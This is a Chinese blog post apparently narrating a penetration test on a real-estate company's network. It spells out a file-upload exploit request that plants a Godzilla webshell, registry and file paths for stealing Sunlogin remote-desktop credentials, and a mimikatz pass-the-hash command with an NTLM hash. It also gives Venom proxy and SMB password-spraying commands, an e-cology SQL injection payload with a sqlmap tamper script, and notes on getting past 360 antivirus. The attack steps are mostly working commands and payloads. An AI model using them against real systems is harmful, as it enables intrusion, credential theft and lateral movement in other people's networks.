实战!对某地产集团的一次渗透测试

一颗小胡椒2023-05-09 09:08:31

现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安设为星标”,否则可能看不到了

0x00 前言

对国外某地产公司的一次测试,测试过程中每一步都有阻碍,不像以往的一帆风顺,对其中涉及的一些点进行一个简单的记录,码较厚,见谅。

0x01 入口点

通过资产测绘发现一个畅捷通系统,经查询资料发现一个CNVD-2022-60632的漏洞,发送一个简单的测试包,发现漏洞存在

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1Host: x.x.x.xContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYltUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
------WebKitFormBoundarywwk2ReqGTj7lNYltContent-Disposition: form-data; name="File1";filename="est.aspx"Content-Type: image/jpeg
hello word------WebKitFormBoundarywwk2ReqGTj7lNYlt--

开始上传shell,用哥斯拉生成CShapDynamicPload的马,cmd执行以下命令,-p为马子的目录,test2为生成的马子的目录

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe -v / -p D:\test D:\test2 -fixednames

将马子和生成的.dll、.complied文件都上传上去

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1Host: xxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 1296Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYltAccept-Encoding: gzip, deflate
------WebKitFormBoundarywwk2ReqGTj7lNYltContent-Disposition: form-data; name="File1";filename="test.aspx"Content-Type: image/jpeg
<%@ Page Language="C#"%><%try{string key = "3c6e0b8a9c15224a";byte[] data = new xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx             ------WebKitFormBoundarywwk2ReqGTj7lNYlt--
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1Host: xxxxxxxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 529Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYltAccept-Encoding: gzip, deflate
------WebKitFormBoundarywwk2ReqGTj7lNYltContent-Disposition: form-data; name="File1";filename="../../../bin/test.aspx.cdcab7d2.compiled"Content-Type: image/jpeg
<?xml version="1.0" encoding="utf-8"?><preserve resultType="3" virtualPath="/infotest.aspx" hash="62838a9aa" filehashxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx------WebKitFormBoundarywwk2ReqGTj7lNYlt--
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1Host: xxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 529Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYltAccept-Encoding: gzip, deflate
------WebKitFormBoundarywwk2ReqGTj7lNYltContent-Disposition: form-data; name="File1";filename="../../../bin/App_Web_test.aspx.cdcab7d2"Content-Type: image/jpeg
<?xml version="1.0" encoding="utf-8"?><preserve resultType="3" virtualPath="/test.aspx" hash="62838a9aa" filehashxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx------WebKitFormBoundarywwk2ReqGTj7lNYlt--

访问http://xxx.xxx.xxx.xxx/tplus/test.aspx?preload=1,成功上线哥斯拉

查看有360杀软,还有向日葵远程桌面

原本想直接读取向日葵配置文件,通过向日葵直接连接到远程桌面,但向日葵的配置文件居然是空白的..

向日葵配置文件路径一般位于以下

绿色版:C:\ProgramData\Oray\SunloginClient\config.ini安装版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
注册表查询安装版:reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo绿色版:reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo简约版:reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginLiteInfo
  • encry_pwd 为本机验证码,为密文,不可解密
  • fastcode 为本机识别码,为明文

解密脚本

https://github.com/wafinfo/Sunflower_get_Password

其实我还可以上传本地的向日葵配置文件去覆盖目标源文件,但这个方法没试,因为以前试过一次没成功,好像还跟版本有关,我还是选择上线到cs再说

因为有360,我随便上了个免杀,上传上去执行的时候报了什么 denied,反正不允许执行。最后使用哥斯拉自带的内存加载pe文件成功上线

0x02 内网

看了下系统是windows server 2012,不能直接抓取明文密码,查了一下arp表还有不少主机,可惜的是不在域里

开始翻主机,翻到一个数据库密码,还是base64的

没有找到其他有用信息了,还是上fscan来一波,没想到fscan不仅没被杀,还能运行?

可以看到两台域控,内网其实还是有机子在域里的,得想办法移到在域的机子里

还有几台ssh弱口令,和一台smb弱口令

内网好多资产可以深入,重点是能横移到域里面的机子;先弄个代理将流量送到内网去,cs自带的socks代理是非常难用的,上传ew,执行的时候还是被denied了

无奈用cs自带的socks代理试试,不行,无法访问内网应用;上传frp、venom等代理工具,执行的时候通通被denied,我寻思你是只允许fscan执行是吧,其他应用通通拦截

转个会话到msf,使用msf的socks的代理也同样不行,看来得把杀软关掉,试了几个驱动来干掉360都失败了,试着添加用户也被拦截了

通过不断尝试终于绕过了360,成功添加用户

打开远程桌面

虽然打开了远程桌面,但无论如何都无法连接到远程桌面,防火墙放行和关闭了都不行,怀疑内网有其他的防护设备。

使用msf进行了一道端口转发

portfwd add -l 3389 -r 127.0.0.1 -p 3389

但使用新建的用户登陆时,还是失败了,提示不能加载用户的配置文件,怀疑通过这个办法新建的用户有问题

server2012默认是不能抓取明文密码的,虽然修改注册表可以,但要重启动静太大了;试着抓了一下,只抓到了一串hash,拿去解密网站也没有解开

但是rdp是可以通过hash直接登录的,使用mimikatz,在win10主机上执行,win7是没有相关参数的

privilege::debugsekurlsa::pth /user:administrator /domain:WIN-E623EEREKAE /ntlm:e2119365a7ce84de9de6e6ff9bdea690 "/run:mstsc.exe /restrictedadmin"

随后会弹出一个mstsc窗口,直接点击登陆就行

成功登陆进来,手动退掉360相关安全防护软件;现在来执行venom开启代理就能执行成功了,果然是被360给拦截了,我很好奇他怎么不拦fscan

#服务器执行/admin_linux_x64 -lport 8085
#客户端执行agent.exe -rhost xxx.xxx.xxx.xxx -rport  8085
goto 1 #进入节点1socks 8050 #开启socks5代理

配置proxychains.conf,先连接那个几ssh弱口令看看

关闭历史命令记录:空格set +o history,通过history发现了几个密码

登录到数据库,但数据库里没发现什么东西,大部分都是空表

这几台linux上也没有发现什么有价值的东西,把目标转向其他;

100段还有一台ms17-010,但打失败了,另外还有一台smb的弱口令也死活横向不过去,什么smbexec、wmiexec甚至ipc链接都不行。

索性把那个弱口令和其他收集的密码来做一个密码喷洒

ff.exe -h x.x.x.x/16 -m smb -pwdf d.txt

这几个一个都没横向成功,是不是被杀软拦了?又把这台机器的hash拿去做了一个喷洒

fscan.exe -h x.x.x.x/16 -m smb2 -user administrator -hash e2119365a7ce84de9de6e6ff9bdea690

喷洒出了3台,但还是一台都没成功;拿出资产结果看看,内网还有4台sqlserver数据库,把刚才搜集到的数据库账户密码拿来做个变形,爆破这4台数据库,很遗憾,还是没一台成功的。

只能从内网的web资产入手了,筛选了一波web应用,发现了一个爆出来没多久的漏洞——泛微sql注入漏洞-CNVD-2023-12632

bp挂个上游代理测试一波

a' union select 1,''+(select @@version)+'

payload需要经过3次url编码,编码脚本

import osdef main():    clearFlag = "y"    while(1):        if clearFlag == "y" or clearFlag == "Y":            os.system("cls")        clearFlag = ""        string = input("请输入需要转换的字符串 :")        for i in range(3):            string = encode(string)        encode_string = string        print("编码结果为:"+encode_string+"\n")
#编码def encode(string):    encode_string = ""    for char in string:        encode_char = hex(ord(char)).replace("0x","%")        encode_string += encode_char    return encode_stringmain()

漏洞确实存在,而且还是mssql数据库,通过sql注入开启xp_cmdshell不就拿下了吗?

使用sqlmap来跑,但payload需要经过3次编码,编写sqlmap脚本

def enc_url(payload):    encode_string = ""     for char in payload:        encode_char = hex(ord(char)).replace("0x","%")        encode_string += encode_char    return encode_string
def tamper(payload,**kwargs):    url_encode = payload    str_url = ""    for i in range(3):        url_encode=enc_url(url_encode)        str_url = url_encode    return str_url

使用sqlmap挂上代理开跑

sqlmap -r ~/sql2.txt --tamper E-Cology-sql.py --dbms=mssql -proxy socks5://x.x.x.x:8050 --random-agent --timeout 10 --level 5 -p keyword --risk=2

没跑出来,使用sqlmap的前缀后缀参数

sqlmap -r ~/sql2.txt --tamper E-Cology-sql.py --dbms=mssql -proxy socks5://x.x.x.x:8050 --random-agent --timeout 10 -p keyword --prefix="a' union select 1,''+(" --suffix=")+'" --level=5 --risk=2

成功跑出来,但在执行--os-shell--os-cmd时报错

使用手工来进行操作,sqlserver执行命令的那几种方法都试了,都无法执行命令。也尝试了网上一些绕过mssql无法执行命令的方法,都失败了。

得嘞,路又堵死了,累了,不再深入,干饭。

0x03 总结

总的来说还是比较曲折的,各个环节都被卡壳,比较可惜和疑惑的几个点:

  • 1. 360为何不拦截fscan,其他的通通拦掉,还是说fscan被谁加过变名单?(按理说拦截的是进程链,具体不知道作者遇到的是啥情况)

2. 密码喷洒出来的那几台机器,没一台能横向成功的,比较可惜,是杀软拦截还是其他因素?(大概率是被360、火绒的横向防护拦截)

payloadstring
本作品采用《CC 协议》,转载必须注明作者和本文链接
Bypass Shellcode - Encryptor
2022-01-03 08:55:10
Bypass Shellcode - Encryptor
APISIX 安全评估
2022-06-15 15:11:42
背景 有大佬已经对apisix攻击面[1]做过总结。 本文记录一下自己之前的评估过程。 分析过程 评估哪些模块? 首先我需要知道要评估啥,就像搞渗透时,我得先知道攻击面在哪里。
AgentTesla 是一个非常活跃的窃密类恶意软件,主要通过电子邮件附件进行传播分发。攻击者正在尝试使用 Telegram 回传数据,但主要还是靠邮件服务器。
介绍实战中由于各种情况,可能会对反序列化Payload的长度有所限制,因此研究反序列化Payload缩小技术是有意义且必要的本文以CommonsBeanutils1链为示例,
fastjson的漏洞主要都是因为AutoType造成的,后续的修复和其他版本的绕过都围绕此来进行。
钓鱼文档整理
2021-12-12 06:43:52
这个思路是在国外一个网站上看到的,原文在这(https://0xdf.gitlab.io/2018/07/31/malware-analysis-muddoc.html),在此感谢作者给出的思路,这里简单来给大家看下总体思路:
笔者继续带大家炒Fastjson的冷饭。关于漏洞分析和利用链分析文章网上已有大量,但是关于如何自动化检测的文章还是比较少见的,尤其是如何不使用Java对Fastjson做检测。
一个先进的跨平台工具,可以自动检测和利用SQL注入漏洞,支持布尔注入、时间注入、报错注入、堆叠查询,支持的数据库有MySQL,Microsoft SQL Server,Postgre,Oracle,支持的注入类型有GET、POST、COOKies等。
最近想要针对Shiro的利用工具扩展利用链,但自己完全写一个工具即麻烦也没有必要,因此想要通过SummerSec师傅开源的工具ShiroAttack2扩展来实现,既然要扩展首先就得了解项目的源码实现。本片文章中我不会通篇的对这个项目代码进行分析,只抽出几个我认为的要点进行分析。
API和Web服务似乎不如websites和Web应用程序受欢迎,但事实并非如此。早在2018年,API就已占全球网络流量的83%。大多数复杂的应用程序都基于微服务,而微服务基本上是使用API相互通信的Web应用程序。Web服务和API容...
一颗小胡椒
暂无描述